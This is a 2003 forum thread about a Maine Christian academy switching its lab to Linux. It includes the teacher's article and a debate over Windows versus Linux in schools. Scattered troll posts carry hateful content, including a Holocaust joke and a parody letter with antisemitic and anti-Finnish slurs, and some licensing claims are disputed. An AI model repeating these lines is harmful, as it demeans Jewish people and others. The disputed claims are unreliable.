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Maine School & Linux
Feztaa writes "This story talks about a private school in Maine that has introduced linux into their computer labs, with smashing success. Apparently, they spent less than half of the money that other schools spent on new computer labs, and got better hardware to boot."
Cat got your tongue? (something important seems to be missing from your comment ... like the body or the subject!)
Why teach children how to use a soon-to-be-obsolete OS?
=======
P.S. Bite! You've been bitten by the Original AIDS Monkey! You have AIDS now!
for teh spr0ks
a/s/l here. Sorry, adding domain tags to your s
I AM A FISH!
i love you taco
kkjfhfdhggdhdgdgghdgdhgfd
experience, they'll be making half of what an MCSE makes!
It all evens out!
Posted on Saturday, February 01, 2003 by Michael Surran
/. editors....maybe they'll repost this story on February 1st for that special /. touch. ;P
hrm I wonder if linuxjournal is starting to take tips from
"Quoting famous computer scientists out of context is the root of all evil (or at least most of it) in programming." - K
Most middle school and high school "computer labs" seem to be oriented around the business department vocational education model. That is, they teach people how to keyboard quickly, use office productivity apps, maybe even edit a web page or develop a PowerPoint presentation.
Using Linux in the computer lab is closer IMHO to a real computer science lab like at the university level, where one learns how computers work.
It all depends on your intent. If the intent is to teach business apps, Windows is the right choice because that's what businesses use. But Linux offers a richer environment for understanding computer principles.
Holocaust revisionists are idiots. Six million more!
-RJN-
"Having purchased 20 new, identical computers, it made sense to completely configure one machine and then clone the hard drive to the other 19 computers. However, Microsoft's EULA prevents a user from doing this, even if they have 20 copies of Windows."
Surely this isn't correct... is it?
Not even MS would do this - it makes no sense.
And kills the whole lab
FRA: STFU GTFO
Although I wish this would happen in more *public schools*.
Instead of going with decent free software, it seems like the majority of public schools are so Windows-dependent that they'd rather keep Windows 95 until the end of time than switch. And that's just dumb. Sure, if the school system has enough to keep upgrading, it might be a little easier... but they never do.
The primary reason usually lies somewhere along the lines of 'but we have this database and our database guy doesn't know how to do anything but Access!' Sigh.
Windows has its merits. Continuing to use it when the only merits left are 'we're lazy and our tech people are ignorant'... that's not good.
...cat gets you!
I'd like to see these schools get adequate support. I know that a few Linux distros are supported by their teams, but what happens in a core dump? What will Mrs. Teacher do when she drops back to a command line? What commands does she throw?
Without proper training, this is bound to fail. I know all of the public schools in the state of Maine have iBooks for their 7th and 8th graders. It's been given quite a bit of praise under that program. While I'd LOVE to see Linux make it here, I don't think that it's ready yet.
My $0.02
Chris Giddings President, Ripple LLC
That was a pretty bold move considering his previous experience was very light on Linux. I found the bit about the common questions he was asked particularly interesting. I'm used to the assumptions about Windows and Linux that exist in an IT environment, but hadn't considered that education IT had it's own set of Linux/Windows shibboleths... ;-)
Hm... speaking of shibboleths, I wonder how many posts it will take before someone seriously handwrings about it being a "Christian" academy adopting Linux... ;-)
Paying 60k and full benefits for inexperienced Linux admins in a Fortune 50 company? Mine is, maybe you want to move to my city, Fantasyburg!
Do you know how many times the salaries of UNIX admins are compared to puny MiCroShitEscolators?
FRA: STFU GTFO
This seems to be a great market for Linux, especially with the downturn in the US economy. With software like the Linux Terminal Server Project the machines don't even have to have a disk in them. An old clunker with a fast network connection can easily serve the needs of a school computer lab.
Linux also makes a lot of sense from a durability standpoint in primary/secondary education lab situations. The machines can be administered remotely, and can easily be kept in a consitent state. Administration becomes a breeze, keeping the Linux machines up and running can be a pretty much automated process. Try and do that with a Windows lab!
The only problem I see with using Linux in these situations is finding trained personell to staff the labs. Good Linux people are still hard to find, especially with the lower-than-typical pay scale in primary/secondary education. I suppose this will change little by little as more users adopt Linux both in education and enterprise applications.
In 15-20 years time, Tech Support at companies is going to be SOOOO much easier.
Currently, there are old farts that work at our place that take about 20 minutes to position the mouse cursor over the appropriate widget, and another 4 minutes to pluck up the courage to actually click on it.
Last weekend I watched my 4 year old nephew as he fired up a PC, quickly and confidently navigated the START menu to his games folder, loaded a football game, and equally quickly and confidently maximimsed the window etc. What made it more interesting was that I then showed him Microsoft Paint. This was the first time he'd seen the program - but he immediately went for the Maximise button to make the application fill the screen.
This means that he'd learnt the concept of the Maximise button - i.e. his understanding was deeper than simply pressing it as part of the start-up procedure of playing his football game.
I guess I may just be underestimating the abilities of 4 year olds, but I tell you, when this generation leave school and get jobs tech support will be a thing of the past...
Teaching kids linux in computer class in a country dominated by windows is like teaching kids French as a primary language in a country dominated by English speaking people.
Thanks to this school's twisted morals, these poor children will never know how to operate a "normal" computer, and will only know a tiny niche system called linux.
Children should be taught the fundamental computer applications such as Ms Word, Visual Basic, Internet Explorer, Excel, ect... not the hacked together "gnu" versions featured in linux.
It is a shame these kids are being taught everything wrong, and will unfortunately have to RELEARN how to use a computer after school. Terrible.
Stanley Feinbaum, professional journalist and master debater! God bless the USA!
"Sic Semper Tyrannosaurus Rex."
An OS like Linux is far better for teaching about the guts of software because everything is exposed. And I'm not just talking about "the source". On a Linux box, you can go look at things like startup scripts and installed drivers, while on Windows, such things are (mostly) hidden.
Windows does its damndest to prevent users from accidently encountering any confusing internals. Good, I suppose, for someone who doesn't care, but lousy if you are trying to teach those internals.
The cake is a pie
"to boot" Very punny.
--
Given enough personal experience, all stereotypes are shallow.
If a school set up a linux lab, they'd actually have to get a computer teacher who knew what he/she was doing (maybe). Untill my HS Comp-Sci class (really just java), i thought schools only hired computer teachers to tell the kids how to open typing tutor and not throw the mouseballs around the classroom.
"Sic Semper Tyrannosaurus Rex."
Every year, like Windows, Linux bloats more and more, and a faster and faster computer is required to do the same task at a usable speed. Older computers (such as those under 500mhz) should still be able to do these kinds of everyday-tasks just fine, but run Linux and WinXP like a dog (don't give me that custom-compiling stuff, it's too hard & time-wasting for mere mortals).
Microsoft is in a position where they try to bloat software to cause constant devaluation of older computer hardware, because then hardware has a far more limited lifetime in which it is useful to run the required software, thereby forcing people to buy new computers thus giving M$ more money for a new Windows licence.
The powers that be in Linux are ubergeeks who speed way too much money on hardware, and since their motivations are ~98% totally self-centred, they make software with nothing less than the performance of their own urber ghz system in mind.
Considering how much hardware costs, and that a Pentium 90 with 16mb of ram _should_ be able to do just fine _everything_ the _average_ person uses a computer for, the real cause of $cost$ is not centred in licencing fees, but the continuing bloating of software. If software was _efficiant_, then those of us who aren't graphics designers or ubergamers would only need to buy a new computer every 8 to 12 years.
Attitudes of developers towards the development process are the problem which causes the most $costs$, not licencing fees.
Which is going to cost more:
Buying a new computer every 2.5 years with a $150 operating-system licence, or
Buying a new computer every 8 years with a $150 licence.
Even if a copy of Linux only costs $2.00 per box, the speed of bloating of Linux is even faster than Windows, perhaps actually almost increasing the total costs despite figuring the cost of Windows into the total. I know that WinXP would be fast enough on the computer I've got now, but any copy of Linux I've cared to throw at it has been _dog_ slow. And I've got 512mb of ram in the thing.
Before you blame M$ for how much computing costs, please realise it is the whole mentality of hardware makers and software developers: M$ is only one of very many guilty parties, free software makers being guilty too.
Jesux, a linux distro optimized for christians!
If you're teaching a student how to use a spreadsheet, it really doesn't make a difference whether they learn gnumeric or excel. The _principles_ are what you want to teach, not the specific application.
The same thing with word processors. It should take more than 15 minutes for the average highschooler to adjust from Word to WordPerfect to Abiword. It's not like they're learning how to automatically generate table of contents or advanced table formatting; they're kids who are learning computers so they can write term papers...
Especially since school computers don't get updated as frequently, it makes sense to use free software. What's the difference:
I assert that both of them will equally prepare the average kid for the 'real' business world (Word 2002 on Windows XP).
My father is a blogger.
It's great to read stories about Linux replacing or being used instead of Windoze and we're hearing more and more of this type of news.
:)
Go Linux!
Mirror:
:)
Moving the school computer lab to Linux was not an easy decision to make--but it was a beneficial one.
As the bell rings to begin class at Greater Houlton Christian Academy, enthusiastic students sit down at their shiny, new computer workstations. In one corner, the red cabinet housing the server hums quietly as two stuffed penguins look on fondly from their perch. Other penguins keep watch from different locations as the students enter their user names and passwords to access their accounts. Ask a student who ``Tux'' is, and he or she will point to the large penguin painted on the front wall of the computer lab and say, ``He's the Linux penguin!'' About this time KDE has loaded, and young boys and girls are opening the application they need for class as easily as kicking a ball.
Now for a little history. Greater Houlton Christian Academy (GHCA) is a private school and nonprofit organization in Maine. As such, it does not have the same access to funding as the public school system. As the computer science teacher and system administrator, this means I have to be creative about providing our students with computer technology while working with a tight budget. In the past I relied on area businesses and generous individuals to donate their used computers. While these donations were a great blessing to us, they were a temporary solution at best.
Last year it became quite evident that we would need to replace our old, secondhand computers running Windows 95. The decision to move from donated computers to new computers was based on many factors, though our primary goal was to make sure our students had the best technology available for the enhancement of their educational experience. Therefore, this would be a software upgrade as well as a hardware upgrade. In fact, choosing the software was by far the bigger challenge.
Interestingly enough, it was during this time that many schools in the western US were being audited by Microsoft concerning the school's use of Windows and Office software. I began to realize my ignorance concerning exactly how strict and inflexible the Microsoft EULA is. It was also during this time that Microsoft's new licensing initiative, called Software Assurance, was causing quite a stir in the tech headlines. As my research opened my eyes to the various limitations to proprietary software, I began to think that the answer for us might be found in open-source software.
The decision to switch to an open-source platform for our new computer lab was not an easy one. My experience was with DOS and various versions of Windows and not with UNIX-compatible operating systems. I had experimented with Linux a few years earlier but found it somewhat difficult and incomplete. Because some time had passed, I decided to give Linux another try. Going with Mandrake's 8.0 distribution, I installed Linux at home to see if it could replace Windows in a desktop environment. To my amazement, I found Linux to be much more capable this time around. I was one step closer to making my decision to switch our computer lab to the Linux OS.
Other factors went into the final decision to go with open-source software, not the least of which was cost. By purchasing bare-bones computer ``kits'', we were able to save considerable money on the hardware. Part of the savings in purchasing a bare-bones system is that the computer does not come with an operating system. We knew by then we would have to spend more money on software than we did on hardware if we went with Microsoft. Not only would I need to consider the initial purchase of the operating system and application software, but I would also need to factor in the costs of upgrading our software every couple of years. Needless to say, going with an open-source platform would save us considerable money now and in the future.
Another key issue was flexibility. As many of you know, it takes time to install an operating system, customize it for the particular hardware it runs on and install the desired applications. Having purchased 20 new, identical computers, it made sense to completely configure one machine and then clone the hard drive to the other 19 computers. However, Microsoft's EULA prevents a user from doing this, even if they have 20 copies of Windows. Not only would Linux save me considerable time by allowing me to clone my configured PC, it also gave me great flexibility in the degree to which I could customize the OS for the hardware. By recompiling the kernel to take advantage of our specific hardware, I could fine-tune the OS to run at peak performance. Linux would even save us money in the cloning process, thanks to the dd command.
A few aspects, however, made the decision to switch to Linux a difficult one. The smaller software base to choose from and the lack of mature drivers for our hardware were among the lesser obstacles. The major obstacle was my own lack of experience with the Linux OS. In fact, most of the money and time spent in the software upgrade of our computer lab was for a shelf full of books I had to purchase and read to really feel confident using and teaching Linux. It isn't always easy to teach an old dog new tricks, but I found the experience one of the most challenging and rewarding experiences of my IT career.
Today our private school of over 170 students has one of the finest computer labs in Maine. We have 20 computers with Athlon 1600+ XP processors, 128MB of RAM, 20GB hard drives and all the accessories--3-D graphics, sound, 17" monitors and 100Mbps Ethernet networking. Our computers run Mandrake Linux 8.2 with KDE 3.0.2. What is most amazing is we upgraded our computer lab for under half the cost of what many neighboring schools paid for inferior equipment. Most of this savings was the result of switching to Linux.
Our servers also run Linux. Using NFS, students can access their accounts from any computer in the lab. Student- and staff-owned files are backed up on a daily basis, so gone are the days of ``the computer lost my homework.'' Our proxy server runs Squid to help speed our wireless internet connection to 20 workstations, and we use proxy software along with iptables to provide firewall protection. A nice program called Dansguardian provides filtering to protect our children from pornography and other inappropriate content.
Many of you may be asking at this point, ``How do you use Linux in teaching your students?'' GHCA is a K-12 school, and so we strive to offer some level of computer training for each grade. Kindergarten students, for example, can use such programs as Potato Guy to practice hand-eye coordination and familiarize themselves with how to use a mouse to manipulate objects on the computer screen. Elementary and secondary teachers integrate the computer lab into their curriculum by using the computer for research, multimedia enhancements or even something simple as coloring digital pictures.
Starting with grade seven, education in computer science takes a more formal approach. Seventh graders are taught keyboarding skills using programs such as KTouch and TuxTyping. Grade-eight students are taught the basics of programming with the kate editor and yabasic interpreter. It is during this class that students gain a better understanding of how computers process instructions.
Computer Fundamentals is a one-credit course that introduces the ninth-grade student to ``how a computer works'' and ``how to work a computer''. During the second semester, students learn about the purpose and use of the operating system and various applications, such as word processors, spreadsheets and web browsers. Because our computers run Linux, it is the Linux OS and open-source software that students learn in this class. Being sensitive to the fact that Microsoft currently dominates the PC market in corporate America, I do spend time discussing the similarities and differences between Linux and Windows.
Tenth- through twelfth-grade students can chose from a variety of computer electives, including how to upgrade and repair computers, web site design, advanced programming and even an upcoming course in robotics. In making the switch to Linux, I easily found all the tools needed to teach these courses using open-source software. In many cases, the open-source software we now use is superior to the proprietary software originally donated to us.
This is our first year with our new computer lab, and I am very pleased with how it is progressing. One of the most pleasing experiences I am having as a system administrator of a Linux-based lab is the actual ease of administration. Once I set something up in Linux, I rarely need to worry about it again. This was not the case with Windows. Last year we were constantly suffering from system crashes, frozen servers, strange bugs and the infamous ``blue screen of death''. Needless to say, it was a frustrating situation for many students. While Linux is not bug-free, it has been a far more stable operating system for both our workstations and servers. Linux also has shown itself to be a much more versatile operating system to administer in a network environment. My job is more pleasurable thanks to our switch to Linux.
As a teacher of computer science, I am finding this year a fascinating test for Linux. Very few of our students, parents or teachers knew what Linux was before this year. I have actually found this to be a great advantage in teaching computers. In the past, I have found students to be disinterested in learning about the personal computer running Windows, because it is something most of them grew up with at home. This lack of interest made it more difficult to teach the more-advanced aspects of the operating system. However, Linux is something completely new, different and unexplored. Instead of being intimidated by the change, as many adults might be, young people are excited to explore the ``uncharted territory''. This opens a door for me as a teacher, allowing me to educate eager minds in the more-advanced aspects of computer operating systems and software. In fact, it only took two weeks until students began to ask me, ``Where can I get Linux?''
People sometimes ask me, ``Is teaching our students Linux preparing them for the workplace?'' This question is based on the fact that Microsoft is the current dominating presence in operating systems and office software. It is a question I have thought over a long time, and the answer I always come up with is, ``Yes, most definitely.'' The basic principles of any type of operating system, office application or other similarly grouped software are the same. A student who becomes proficient in Linux will not find themselves lost in a Windows environment. I have found Linux to be the more advanced of the two operating systems, yet our students are very quickly and easily learning it. The process of copying a file or formatting a paragraph is not so different between one operating system and the other. The important thing is we are able to offer the latest in hardware and software tools to train our students in these fundamental principles--something we could not do if we went with proprietary software.
Another question that may be even more important to ask is, ``What is the future of Linux?'' When our students graduate a few years from now, will they enter a Microsoft-dominated workplace or will the tide have changed? Even in our small New England town of Houlton, Maine, businesses are beginning to look to Linux as an alternative to proprietary operating systems. These businesses will need qualified personnel familiar with the Linux operating system and open-source applications. Greater Houlton Christian Academy will be graduating young men and women who will be able to meet that need, a claim not many schools in our nation can currently make. In fact, some of our students may go on to write the future applications for Linux, giving back to the community that helped them during their school years.
For us, switching to open-source software running on the Linux operating system has been the right choice, allowing us to provide our students with modern equipment and software for a fraction of the cost of a computer lab running proprietary software. If Linux continues to grow in popularity and gain a foothold in the workplace, we will look back at our choice as one of the most important decisions we've ever made.
__________
The problem with using Linux is that the children won't learn how to use Windows, which is what most people use, but they will probably have Windows at home anyways. Maybe they'll even try Linux at home!
Centralization breaks the internet.
Has anyone looked at what educational programs work under wine?
Infact, most organizations, large and small "clone" their PCs. Thats what applications like Ghost do. As long as you have a site liscence or enough one for every PC you wish to clone.
After working in a public school district, the fear of Microsoft had certainly struck us. We had an entire room devoted to holding the "Welcome to Windows" manuals, licenses, and EULA's, and were hoping never to get that dreaded audit.
While we were unable to make the switch to Linux while I was working at the district (we had entered into contracts beta-testing new Windows-based attendance/grading software), it certainly struck me as the way to go.
In addition, the quality general computer instruction available at this school is something to strive for. I think that students are quite capable of utilizing Linux efficiently, especially if they are familiarized with it early on.
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While reading the story, and looking at the photo which shows a bunch of fifth graders sitting behinds KDE workstations, with a huge Tux poster in the background, I had another idea how our government can save money.
As we all know, nuclear tests have been banned for quite some time now. And government research labs all over the fruited plain spend enormous amounts of money on supercomputers that simulate nuclear explosions.
Well, it should be much cheaper just to set up a bunch of cheap earthquake monitors in the northwest US; have someone print that picture from the story; mail it to Steve Ballmer's house; and carefully watch the monitors for the next couple of days.
Seriously, if that article ever makes its way over to Redmond HQ, it's not going to get a warm reception. Given what I've observed about Microsoft's mentality, just the photo itself is good enough for a few ulcers. Seriously speaking, this is not a cheap yuck. That small picture clearly shows the biggest threat to the monopoly that Microsoft has spent the last decade building up. Stuff like this has to be a pepto-bismol moment for the MS bigwigs that read it.
Using your analogy we should skip foreign language altogether in the US. Who need Spanish anyway.
Help fight continental drift.
This is a general school. It's not a computer science school in college -- it's teaching business students and the like. Its goal is to provide the most useful knowledge over the long term to its students. A student going into business is, frankly, better off with Windows experience than Linux. Heck, at this very moment (though I personally think things are shifting), most software developers are better off with Windows experience than Linux experience, and that's a pretty ideal set of people.
While I like Linux myself, using Linux over Windows is a public-good problem. Everyone is better off if everyone uses Linux over Windows, but if a single school gives students experience with Linux and the rest Windows, it's doing a worse job of helping its students.
People these days put *applications* down as job skills. "Excel", "Word", etc. To not have your students be familiar with these when the vast majority of businesses use these (and likely will for at least a few more years) is doing the school's students a disservice. If you have a choice between hiring Jonny, who knows Word (which your company uses) and Jimmy, who knows KWord (which you've never heard of)...well, you're going to grab the one that's going to generate less support costs.
And simply using Linux does not turn students into experienced computer scientists or IT personnel, doesn't make them suddenly far more capable of learning to use different software packages.
I realize that there are budget issues involved, I realize that there are stability issues involved, and I still have to say that the majority of students are currently better off being familiarized with Microsoft's operating system and application suite than Open Office and Linux or KWord and Linux or AbiWord and Linux.
Finally, for the people that say that school is for teaching you general concepts, not a specific skill set -- yes, that's true. In twenty years, it's very unlikely if people will be using something much like the current iteration of MS Word *or* Open Office. But there is a not insignificant short-term benefit, and I don't think it's entirely fair to the students to deprive them of that edge. Word and Excel are nearly everwhere, whether we like it or not.
May we never see th
I didn't like literally mean Tech Support would be wiped out. Struth.
I happen to live and work in Maine and I must say that the technology they're talking about here is a good idea. However it's biggest benefit besides saving money is teaching kids things like how operating systems work, how to program hardware directly, and how to write actual software beyond "hello world" or a text calculator. These are things most teachers simply can't teach. Now maybe this would change if the schools advertised jobs for people who could actually teach these subjects. Maybe some linux community members in other parts of the U.S. might actually move to Maine to fill them, but for now I'll stay skeptical. The public school systems really need to change their curriculum around. They really need a computer curriculum like the one I hinted at above, and they need to have the damn kids doing calculus by 8th grade. I attend the University of Maine now and it's AMAZING how many people don't even have a clue about ALGEBRA let alone calculus. These are subjects that are just plain required in college... so why aren't our public schools requiring them to be mastered?
Stating linux skills and alternative applications is a good way to show that you can think for yourselves and at least for now makes you stand out.
Help fight continental drift.
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Don't forget the http://!)
Since their Public School System provided iBooks to every 7th and 8th grade teachers and students.
Hello,
Recently I've been introduced to an operating system known as Linux.
Lured by its low cost, I replaced Windows 98 on my computer with Linux. Unfortunately the more I use it the more I fear that this "Linux" may be an insidious way for the Dark One to gain a stronger foothold here on Earth. I know this may be a shocking claim, but I have evidence to back it up!
To begin with, Linux runs numerous background processes. These processes are usettlingly termed "demons." Furthermore in order to start or stop these "demons" a user must execute a command called "finger". By "fingering" a "demon" one excercises an unholy power, much the same way that the Lord of Flies controls his black minions.
Also consider some of these other Linux commands: "sleep", "mount", "unzip", "strip" and "touch". All highly suggestive in a sexual nature. I know that our Lord cannot approve of these, and I urge them to be renamed to something appropriate to the Christian community.
Third, Linux uses a flavor of DOS known as Bash. Bash is an acronym for "Bourne Again Shell". On the surface this would appear to be supportive of the Lord. However, remember that even Satan can quote the Bible for his own purposes! While I believe Linux may be born-again, its obvious by the misspelling of "born" that its not born-again in an Christian church. Will the lies ever cease?
Additionally, one of the main people involved with the GNU Free Software Foundation supports contraception and abortion. His web site even advocates government support of contraception. He also wears fake halos, and has quips about his made-up church that relates to his free software. I find such blasphemy to be extremely unsettling.
One must also remember that the creator of Linux, a college student named Linux Torvaldis, comes from Finland. I'm sure all the followers of Christ are aware of the heritical nature of the Finnish: from necrophilia to human sacrifice, Finnish culture is awash in sin. I find little reason to believe anything good and holy could arise from this evil land.
Finally, let us remember that there is an alternative to using the Satan-powered Linux. I think history has shown us that Microsoft is quite holy. I'm told that its founder, William Gates is a strong supporter of our Lord and I encourage my fellow Christians to buy only his products to help keep the Devil at bay.
I wish I had more time to expound upon my findings. Unfortunately a family of Jews has moved in across the street and I must go speak to them of Jesus Christ before they are condemned to eternal hellfire.
Please investigate this as you see fit and I'm sure you'll reach the same conclusions that I have.
Thank you for your time.
Here is a case where the school actually employed someone who has the necessary skills to deploy Linux, compile and install applications, and actually had a plan! I have spent some time volunteering in area schools and the problems aren't just getting hardware and finding the money to purchase software and licenses, its getting the money for the talent necessary to keep the network running and teach something useful! One school in this area (Hampton Roads Virginia) had Cox Communications set them up with a state-of-the-art (for that time) fiber based network. The school administrators show it off in "dog and pony" shows because they cannot afford the staff necessary to make it work! Another school I attempted to work with had the "lofty goal" of teaching eighth graders how to make a web page! The "system administrator" was the English teacher and she was chosen because she knew how to use a couple of programs! Their network was Macintosh based, sold to them by an idiot I used to work for who did not tell them they would need additional software to connect their Macs to Windows machines (MacOS 7.5), and the machines had insufficient memory and nobody on staff that was Mac literate! They ended up getting someone from Apple to get everything working and I am sure that cost them some big bucks that they were not expecting to spend. Educators and administrators have the right idea about putting computers in the schools, the problem is they do not think about what they are going to do with it, or the end result is so lame that the kids get seriously short changed! A 16 year old posted to BugTrak on SecurityFocus about trying to get an internship to learn system and network security because the school he attended could not (and would not) teach the subject matter! For computers to really work in schools, the school systems of this country have to decide what they are going to teach, and get the necessary talent in to teach it! And that is why this particular computer lab actually works!
Allowed HTML:
Flamebait? I disagree entirely with his view, but it is a completely valid viewpoint. My god, this post is almost identical to the headline, except it's flip-flopped Windows and Linux!
Slashdot continues to define itself as a general MS bigot. Shame.
Of course, maybe it is flamebait, since it seemed to invite such thoughtless, vitriol-filled applaud. Oh that's right; the responses to his "flamebait" post are more insightful than 90% of the comments on this topic (Linux RULEZ!!! Everyone should do this! +5 interesting).
No this is not correct. Even though some basn MS for anything people replied to it.
l t. asp?url=/technet/prodtechnol/windows2000pro/deploy /depopt/sysprep.asp
From 2000 to XP you can prepare a hard drive. Use a tool called SYSPREP which prepares a drive for cloning.
Once you clone the drive to x number of systems(as covered by your site licenses). The initial boot of the system conigures each one with a seperate SID. It also automates user responses. You can accept the EULA automatically.
MS reccomends this for roll outs and even teaches you how to do it on their site.
I have used this many times. Nothing against the EULA.
See below link.
http://www.microsoft.com/technet/treeview/defau
I love Linux. And thing MS is evil in a lotta ways. But above all hate misinformation.
Puto.
The Revolution Will Not Be Televised
At a company I used to work at, I had the habit of screwing up Windows on a semi-regular basis because I'm always constantly tweaking it to make it more to my taste (which is why I love Linux... yes, I contribute $ and time and knowledge to the Linux and Open Source Communities). One day I screwed up Windows so bad that I couldn't really do some stuff I needed to do. So, I went to the boss and asked her "I need to reinstall Windows for my machine..." and she flew off the handle since it was during the middle of a budget cut.
"Don't you know how much it costs the company to do that?"
I told her no and then she told me it was in the neighborhood of $1000-2000 becuase of time, licenses, overhead, etc.
Stupid that cloning isn't allowed, even when you have a 3000 seat license. Sure makes rapid deployment difficult!
However, you can customize the install sequence to automate it, like kickstart does. I used to know how to do this.
GNU/Maine
The key worrd here is $$$ PRIVATE $$$ school.
Bite me!
Ha! Taco made a pun.
RTFM; please, I beg you.
There's a lot of "innovation" of this sort going on in Maine, especially in northern Maine. In some schools the shop class takes on construction and remodeling responsibilities for the school building. There's really no choice in the matter, because that area of the state is dirt poor.
Imagine how the school's board would have reacted if the instructor had chosen FreeBSD instead.
It's Linux and Main.
About 500 years ago, a guy named Martin Luther decided to translate the Bible into German, thus was born the Protestant revolution. The point being, that before this, if you were German and could not read Latin, you had to have a priest translate the words of God AKA the Bible.
A Brit named William Tyndale had the same idea, he printed 50 copies of the
Bible *in English*, the establishment was that shocked at this idea, they burnt
him at the stake. Probably because they thought the idea of the common people
having direct access to the 'holy writ' would lead to them thinking for
themselves and having dangerous ideas.
How like the current debate between open source and closed source this all
sounds. Just substitute operating system for Bible, money for God, the stock
market for the Holy Roman Empire and Bill Gates as the Pope and it all lines up
Maine's outgoing (or gone?) governor introduced a program to provide iBooks to every student in Maine (initially beginning with Middle Schoolers).
It is further interesting to note that middle school labs in Maine do not include desktop systems. Maine middle schools have iBook mobile labs... I'm wondering if these "costs" were possibly why the Linux labs cost less?
Justen Deal
How can a school have smashing success just for getting better hardware for their buck? Their students will be illequiped when they get out to the job market. At least with macs they can use Microsoft Word, Internet Explorer....you know, applications that have over 90% market share.
appareNTly, it's still ok to use the L word.
look for va.msn.?net? (VAST) 'planned products': winux, linsux, windux (a little litigation here...) fedUX (& here?), FUDex (butt knot here)?
if the main schools store/share(tm) their kode with va lairy, & the forgeIE bytes the bust, whois it belongs to the main school's secret kode (or, is it, IPlitigating we will go, AGAIN)?
Windows does its damndest to prevent users from accidently encountering any confusing internals.
Except for when windows gives the blue screen of death. That's enough to scare the average user away.
This is yet another case of blatant overmoderation.
While I think he's wrong, it's a common point of view and the pilar or the "switch / lock-in" problem.
If the kids know linux and main GNU apps , those apps he mentions (bloated pieces of software) can be learnt in 10 minutes. At least, the important 10% we use 99% of the time.
Another thing you should think about is unstability in the IT world. When I was 15, Wordperfect was dominant (5.1 for MSDOS then 6.0 for windows 16bit) and some people still used wordstar. I learnt Ashton Tate's Framework 3 and dBase. Those were the standards by then. I had to relearn EVERYTHING because in some years windows took over and then win95 (completely different BTW). I spent hundreds of hours getting used to countless key combos - things are a lot easier now.
Doesn't matter what those kids learn, it will be outdated when they leave college for a job.
Applause, not applaud.
but if you do a little research you find the author is a complete wack-job. Just checkout this other article he wrote.
Actually if the license is OEM you cannot clone from machine to machine. If you have a Enterprise license you can do this. I do not know about single, "store bought" copies.
WoodSmoke
Think about why so many people bash microsoft. Sure, it has support for some feature, but can you use that feature for something the writer never thought of? Quite often, you can't. Self-healing and autonomic systems are dangerous ideas because any use out of the ordinary gets automatically "corrected." The only times I call tech support are when I want to do something out of the ordinary. The more automated the "solution," the less I can do with the product.
I know that IBM is talking more about hardware failures, but your point seems to be that tech support could be rare because the authors of the software would anticipate every possible use.
I think the "everyone uses Widnows apps, so kids should learn to use Windows" is a silly bugaboo.
Many people seem stuck in this reasoning:
Why should everyone learn Windows? Because everyone uses Windows.
Why should everyone use Windows? Because everyone is learning Windows.
I'm sure there's more to it than that, but it is an easy mistake. (And I posted this from a Redhat 8.0 box.)
They say the first thing to go is your penis. Well, it's either that or your brain. I forget which...
Everyone is better off if everyone uses Linux over Windows, but if a single school gives students experience with Linux and the rest Windows, it's doing a worse job of helping its students.
Using Word is like operating a television set: anyone can do it. Not everyone is familiar with UNIX based operating systems. That gives them an edge. If they don't know how to make a borderless text box in Word, they can pick it up in a day. Applications are honestly dirt easy if you have a broad enough experience base. It is virtually impossible to avoid MS Office these days, and enough to put down on a resume is trivial. Being able to add Linux on a resume at least is interesting and at most shows competence.
Quite honestly, Putting MS Office on your resume is like putting "Can use Pencil."
If you have a choice between hiring Jonny, who knows Word (which your company uses) and Jimmy, who knows KWord (which you've never heard of)...well, you're going to grab the one that's going to generate less support costs.
And if Jimmy comes to you and says that he can save your organization tens of thousands of dollars per year by switching you to an OS and an Office Suite you have never heard of, you are going to like that initiative. Even if you are hesitant and don't follow through with it, you will see Jimmy as a managerial material, rather than another office drone.
In twenty years, it's very unlikely if people will be using something much like the current iteration of MS Word *or* Open Office. But there is a not insignificant short-term benefit, and I don't think it's entirely fair to the students to deprive them of that edge.
Sorry, it's pretty insignificant, compared to being able to offer a programming elective. These kids are growing up in a world where the average 5 year old is more familiar with a computer than the average current office worker. They can undo in their sleep. What you hold prescious and dear just isn't that impressive. There may have been some debate originally about whether to use rotary or numeric phones in diagrams for children, but the distinction was, quite honestly, a trivial one. The ability to use MS Office and Open Office is trivial, but using MS Office is unavoidable while having used Open Office is at least a little special. Picking up a windowed interface is unavoidable, but picking up a powerful command line is actually useful (even in a business setting, typing ftp somehost@somewhere.com is much easier than opening Internet Explorer, going to a download site, getting administrator priveledges...).
You're probably trolling too (as judging from your previous comments you don't seem to be experienced), but this is exactly the sort of argument that you hear from many computer-illiterate managers who are struggling to learn the "industry standard" interface. To the next generation, Office is a 4-th grade computer literacy level. We can do better.
This Sig is a mnemonic device designed to allow you to recognize this author in the future.
./ error messages that piss me off:
... like the body or the subject!)
Cat got your tongue? (something important seems to be missing from your comment
This exact comment has already been posted. Try to be more original...
My girlfriend (yes ... even 40 year old L/Unix admins have real girlfriends) works as an admin assistant for the maintenance department of a local high school They use Windoze, and have more troubles than you can imagine. Now, to be fair, their admins are not the brightest pixels in the stream, but schools tend to not pay the most money, so they get what they pay for. Her boss has been waiting for a couple of weeks to get his 98 box fixed. From what I can tell, she knows more than the IT guys.
That said, I taught a Linux class to several people a couple of months ago. Maine recently began a program to distribute laptops to all 7th graders. Since most schools had Apple systems, they were at a loss on how to integrate them.
Enter Linux. In two days, I taught a group of Apple and Windows skilled folks Linux basics, stressing command line skills and how to use Google for support. I was blown away by how quickly they came up to speed. Since they already had basic computer skills, all they needed to do was learn a slightly different way to apply them. All but one were able to build Linux boxes with SAMBA and DHCP services that both the Apple and MS boxes could tap into. The one that couldn't refused to adapt and constantly whined about using the command line. (I know, almost all of this can be done with a GUI. But I wanted them to learn more than how to point, click, select the defaults.)
So, I say hogwash to this failing. Those that don't want to learn, won't, you can't change that. Those that are able to take knowledge and apply it to new ideas will flourish.
People that can learn and adapt will be the people most sought after in our society because they will move it forward.
I rarely read replies, it's my opinion and if you thought about your opinion a little more, I'm OK with that.
Up until the age of 11, the only computer I had used at school was a BBC micro. It had some appallingly bad software, and a BASIC interpreter. It also had some things you could plug into it (light gates, lifts at turtle) most of which were relics of former CDT projects. From that, I learned to code very badly, and became interested enough to get a shiny C compiler for the 8086 machine I acquired, after persuading my father's company that it didn't make a very good door-stop.
At secondary school, I used windows 3.11 on a Novell network. I was taught how to use Microsoft Works (which just doesn't). In those lessons, I learned that 90% of MS software was not worth the paper the certificate of authenticity was printed on (With possible exceptions of the NT series after version 4, some of their Dev tools, and Office if I'm feeling generous).
